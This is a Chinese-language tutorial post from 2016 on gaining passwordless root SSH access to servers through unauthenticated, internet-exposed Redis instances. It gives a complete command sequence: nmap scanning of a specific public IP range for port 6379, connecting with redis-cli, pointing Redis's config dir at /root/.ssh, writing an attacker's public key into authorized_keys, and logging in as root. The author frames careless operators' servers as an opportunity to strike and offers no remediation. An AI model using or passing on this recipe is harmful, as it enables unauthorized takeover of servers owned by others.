通过未授权远程登陆redis进行免密码登陆服务器

时间: 2016-02-07 15:11 栏目: 视频教程 浏览: 15535 赞: 26 踩: 0 字体:

以下为本篇文章全部内容:

        大家好,我是Sunny。随着网站的流量剧增和发展需求不少网站都会选择nosql这样的数据库对大数据的一些处理,还有选择缓存服务器,有点人选择memcached有的人选择redis,其实他们两个都是差不多的东西,只是memcached比较单一,redis比较丰富点。今天就讲讲这个redis的一些安全常识,由于redis是分布式的,很多人通常都没有注意到安全问题。因为默认没有密码进行连接,还有一些粗心的运维会把redis开放到公网上面,这就给我们造成了一次很好的下手机会。

教程步骤:

1、扫描端口查找有redis服务的服务器

2、连接查看是否需要授权

3、查看config dir

4、设置config dir

5、生成私钥和公钥

6、上传公钥到服务器

7、把公钥设置到服务器私钥认证文件

8、使用私钥登陆服务器


第一步:

        扫描端口看看有哪些redis服务在公网上可以直接访问到,redis默认端口是6379,所以我们直接扫码这个端口就行了。我使用的扫描工具是nmap

nmap -sT -p 6379 112.74.111.0/24 | grep --color -B5 open

        上面命令是扫码112.74.111.0的整个ip端开放有6379端口的服务器。

第二步:

        连接看看能否连接上redis

redis-cli -h 扫描出来的ip

第三步:

        查看config dir路径,看看是不是/root/.ssh

config get dir

第四步:

        把config dir路径设置成/root/.ssh

config set dir "/root/.ssh"

第五步:

        生成公私钥

ssh-keygen -t rsa

第六步:

        上传公钥到服务器

(echo -e "\n\n";cat 公钥文件名.pub;echo -e "\n\n";) > sunny.txt
cat sunny.txt | redis-cli -h 服务器地址 -x set sunny

第七步:

        设置redis文件存储到/root/.ssh里面去,由于redis里面存在了我们的公钥所以我们可以实现免密码登陆

config set dbfilename "authorized_keys"
save

第八步:

        登陆服务器

ssh -i 私钥文件名 root@服务器ip